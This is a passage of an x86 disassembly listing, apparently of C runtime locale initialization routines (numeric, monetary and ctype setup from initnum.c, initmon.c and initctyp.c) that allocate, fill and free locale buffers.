		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 9Ch
		push	edx
		push	29h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A0h
		push	edx
		push	1Fh
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A4h
		push	edx
		push	20h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A8h
		push	edx
		push	1003h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]


loc_4360EB:				; CODE XREF: sub_435B60+2Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_435B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4360F0	proc near		; CODE XREF: sub_435A80+50p
					; sub_435A80+7Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_4360FE
		jmp	loc_4363F9
; ---------------------------------------------------------------------------


loc_4360FE:				; CODE XREF: sub_4360F0+7j
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+38h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+40h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+48h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4Ch]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+54h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+58h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+5Ch]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+68h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+74h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+80h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+84h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+88h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8Ch]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+90h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+94h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+98h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0A8h]
		push	ecx
		call	sub_41F970
		add	esp, 8


loc_4363F9:				; CODE XREF: sub_4360F0+9j
		pop	ebp
		retn
sub_4360F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436400	proc near		; DATA XREF: .XComp0:00452A08o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4E946E
		mov	[ebp+var_4], eax
		cmp	dword_4E92EC, 0
		jz	loc_43657A
		push	offset dword_4E943C
		push	0Eh
		mov	ecx, [ebp+var_4]
		push	ecx
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	edx, [ebp+var_8]
		or	edx, eax
		mov	[ebp+var_8], edx
		push	offset dword_4E9440
		push	0Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		push	offset dword_4E9444
		push	10h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, dword_4E9444
		push	edx
		call	sub_4366B0
		add	esp, 4
		cmp	[ebp+var_8], 0
		jz	short loc_4364E9
		push	2
		mov	eax, dword_4E943C
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, dword_4E9440
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, dword_4E9444
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	dword_4E943C, 0
		mov	dword_4E9440, 0
		mov	dword_4E9444, 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4366A2
; ---------------------------------------------------------------------------


loc_4364E9:				; CODE XREF: sub_436400+8Fj
		mov	eax, off_453408
		cmp	dword ptr [eax], offset	dword_4533D0
		jz	short loc_436530
		push	2
		mov	ecx, off_453408
		mov	edx, [ecx]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, off_453408
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, off_453408
		mov	eax, [edx+8]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_436530:				; CODE XREF: sub_436400+F4j
		mov	ecx, off_453408
		mov	edx, dword_4E943C
		mov	[ecx], edx
		mov	eax, off_453408
		mov	ecx, dword_4E9440
		mov	[eax+4], ecx
		mov	edx, off_453408
		mov	eax, dword_4E9444
		mov	[edx+8], eax
		mov	ecx, off_453408
		mov	edx, [ecx]
		mov	al, [edx]
		mov	byte_4524F4, al
		mov	dword_4524F8, 1
		xor	eax, eax
		jmp	loc_4366A2
; ---------------------------------------------------------------------------


loc_43657A:				; CODE XREF: sub_436400+1Fj
		push	2
		mov	ecx, dword_4E943C
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, dword_4E9440
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, dword_4E9444
		push	eax
		call	sub_41F970
		add	esp, 8
		mov	dword_4E943C, 0
		mov	dword_4E9440, 0
		mov	dword_4E9444, 0
		push	88h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41EDD0
		add	esp, 10h
		mov	ecx, off_453408
		mov	[ecx], eax
		mov	edx, off_453408
		cmp	dword ptr [edx], 0
		jnz	short loc_4365FB
		or	eax, 0FFFFFFFFh
		jmp	loc_4366A2
; ---------------------------------------------------------------------------


loc_4365FB:				; CODE XREF: sub_436400+1F1j
		push	offset a__1	; "."
		mov	eax, off_453408
		mov	ecx, [eax]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	8Dh
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41EDD0
		add	esp, 10h
		mov	edx, off_453408
		mov	[edx+4], eax
		mov	eax, off_453408
		cmp	dword ptr [eax+4], 0
		jnz	short loc_43663F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4366A2
; ---------------------------------------------------------------------------


loc_43663F:				; CODE XREF: sub_436400+238j
		mov	ecx, off_453408
		mov	edx, [ecx+4]
		mov	byte ptr [edx],	0
		push	92h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41EDD0
		add	esp, 10h
		mov	ecx, off_453408
		mov	[ecx+8], eax
		mov	edx, off_453408
		cmp	dword ptr [edx+8], 0
		jnz	short loc_43667B
		or	eax, 0FFFFFFFFh
		jmp	short loc_4366A2
; ---------------------------------------------------------------------------


loc_43667B:				; CODE XREF: sub_436400+274j
		mov	eax, off_453408
		mov	ecx, [eax+8]
		mov	byte ptr [ecx],	0
		mov	edx, off_453408
		mov	eax, [edx]
		mov	cl, [eax]
		mov	byte_4524F4, cl
		mov	dword_4524F8, 1
		xor	eax, eax


loc_4366A2:				; CODE XREF: sub_436400+E4j
					; sub_436400+175j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_436400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4366B0	proc near		; CODE XREF: sub_436400+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_4366B4:				; CODE XREF: sub_4366B0:loc_436727j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_436729
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_4366ED
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_4366ED
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_436727
; ---------------------------------------------------------------------------


loc_4366ED:				; CODE XREF: sub_4366B0+17j
					; sub_4366B0+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_43671E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4366FE:				; CODE XREF: sub_4366B0+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_4366FE
		jmp	short loc_436727
; ---------------------------------------------------------------------------


loc_43671E:				; CODE XREF: sub_4366B0+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_436727:				; CODE XREF: sub_4366B0+3Bj
					; sub_4366B0+6Cj
		jmp	short loc_4366B4
; ---------------------------------------------------------------------------


loc_436729:				; CODE XREF: sub_4366B0+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4366B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436730	proc near		; DATA XREF: .XComp0:004529FCo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E92E8, 0
		jz	loc_4367FC
		push	4Ah
		push	offset aInitmon_c ; "initmon.c"
		push	2
		push	30h
		push	1
		call	sub_41F230
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_436769
		mov	eax, 1
		jmp	loc_43685C
; ---------------------------------------------------------------------------


loc_436769:				; CODE XREF: sub_436730+2Dj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_436860
		add	esp, 4
		test	eax, eax
		jz	short loc_43679D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_436AF0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, 1
		jmp	loc_43685C
; ---------------------------------------------------------------------------


loc_43679D:				; CODE XREF: sub_436730+47j
		mov	eax, [ebp+var_4]
		mov	ecx, off_453408
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_453408
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_453408
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_4]
		mov	off_453408, eax
		mov	ecx, dword_4E9448
		push	ecx
		call	sub_436AF0
		add	esp, 4
		push	2
		mov	edx, dword_4E9448
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4E9448, eax
		xor	eax, eax
		jmp	short loc_43685C
; ---------------------------------------------------------------------------


loc_4367FC:				; CODE XREF: sub_436730+Bj
		mov	ecx, off_453408
		mov	edx, [ecx]
		mov	off_4533D8, edx
		mov	eax, off_453408
		mov	ecx, [eax+4]
		mov	off_4533DC, ecx
		mov	edx, off_453408
		mov	eax, [edx+8]
		mov	off_4533E0, eax
		mov	off_453408, offset off_4533D8
		mov	ecx, dword_4E9448
		push	ecx
		call	sub_436AF0
		add	esp, 4
		push	2
		mov	edx, dword_4E9448
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	dword_4E9448, 0
		xor	eax, eax


loc_43685C:				; CODE XREF: sub_436730+34j
					; sub_436730+68j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_436730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436860	proc near		; CODE XREF: sub_436730+3Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4E9468
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_436886
		or	eax, 0FFFFFFFFh
		jmp	loc_436A69
; ---------------------------------------------------------------------------


loc_436886:				; CODE XREF: sub_436860+1Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		push	15h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	14h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	16h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	17h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_436A70
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		push	50h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	51h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	1Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 29h
		push	edx
		push	19h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ah
		push	edx
		push	54h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Bh
		push	edx
		push	55h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	56h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Dh
		push	edx
		push	57h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Eh
		push	edx
		push	52h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Fh
		push	edx
		push	53h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]


loc_436A69:				; CODE XREF: sub_436860+21j
		mov	esp, ebp
		pop	ebp
		retn
sub_436860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436A70	proc near		; CODE XREF: sub_436860+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_436A74:				; CODE XREF: sub_436A70:loc_436AE7j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_436AE9
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_436AAD
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_436AAD
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_436AE7
; ---------------------------------------------------------------------------


loc_436AAD:				; CODE XREF: sub_436A70+17j
					; sub_436A70+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_436ADE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_436ABE:				; CODE XREF: sub_436A70+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_436ABE
		jmp	short loc_436AE7
; ---------------------------------------------------------------------------


loc_436ADE:				; CODE XREF: sub_436A70+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_436AE7:				; CODE XREF: sub_436A70+3Bj
					; sub_436A70+6Cj
		jmp	short loc_436A74
; ---------------------------------------------------------------------------


loc_436AE9:				; CODE XREF: sub_436A70+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_436A70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436AF0	proc near		; CODE XREF: sub_436730+4Dp
					; sub_436730+A7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_436AFE
		jmp	loc_436B81
; ---------------------------------------------------------------------------


loc_436AFE:				; CODE XREF: sub_436AF0+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], offset dword_4E94A8
		jz	short loc_436B81
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_41F970
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_41F970
		add	esp, 8


loc_436B81:				; CODE XREF: sub_436AF0+9j
					; sub_436AF0+18j
		pop	ebp
		retn
sub_436AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436B90	proc near		; DATA XREF: .XComp0:004529F0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 0
		cmp	dword_4E92E4, 0
		jz	loc_436EE1
		cmp	dword_4E92F4, 0
		jnz	short loc_436BE0
		push	offset dword_4E92F4
		push	1004h
		xor	eax, eax
		mov	ax, word_4E9460
		push	eax
		push	0
		call	sub_43AA10
		add	esp, 10h
		test	eax, eax
		jz	short loc_436BE0
		jmp	loc_436EA2
; ---------------------------------------------------------------------------


loc_436BE0:				; CODE XREF: sub_436B90+28j
					; sub_436B90+49j
		push	5Ch
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_30], eax
		push	5Eh
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		push	60h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	101h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_2C], eax
		push	62h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_30], 0
		jz	short loc_436C5C
		cmp	[ebp+var_1C], 0
		jz	short loc_436C5C
		cmp	[ebp+var_2C], 0
		jz	short loc_436C5C
		cmp	[ebp+var_28], 0
		jnz	short loc_436C61


loc_436C5C:				; CODE XREF: sub_436B90+B8j
					; sub_436B90+BEj ...
		jmp	loc_436EA2
; ---------------------------------------------------------------------------


loc_436C61:				; CODE XREF: sub_436B90+CAj
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_20], 0
		jmp	short loc_436C79
; ---------------------------------------------------------------------------


loc_436C70:				; CODE XREF: sub_436B90+103j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_436C79:				; CODE XREF: sub_436B90+DEj
		cmp	[ebp+var_20], 100h
		jge	short loc_436C95
		mov	eax, [ebp+var_18]
		mov	cl, byte ptr [ebp+var_20]
		mov	[eax], cl
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_436C70
; ---------------------------------------------------------------------------


loc_436C95:				; CODE XREF: sub_436B90+F0j
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, dword_4E92F4
		push	ecx
		nop
		call	near ptr 29D0000h
		test	eax, eax
		jnz	short loc_436CAF
		jmp	loc_436EA2
; ---------------------------------------------------------------------------


loc_436CAF:				; CODE XREF: sub_436B90+118j
		cmp	[ebp+var_14], 2
		jbe	short loc_436CBA
		jmp	loc_436EA2
; ---------------------------------------------------------------------------


loc_436CBA:				; CODE XREF: sub_436B90+123j
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	dword_4524F0, edx
		cmp	dword_4524F0, 1
		jle	short loc_436D29
		lea	eax, [ebp+var_E]
		mov	[ebp+var_18], eax
		jmp	short loc_436CE3
; ---------------------------------------------------------------------------


loc_436CDA:				; CODE XREF: sub_436B90:loc_436D27j
		mov	ecx, [ebp+var_18]
		add	ecx, 2
		mov	[ebp+var_18], ecx


loc_436CE3:				; CODE XREF: sub_436B90+148j
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_436D29
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_436D29
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		jmp	short loc_436D0F
; ---------------------------------------------------------------------------


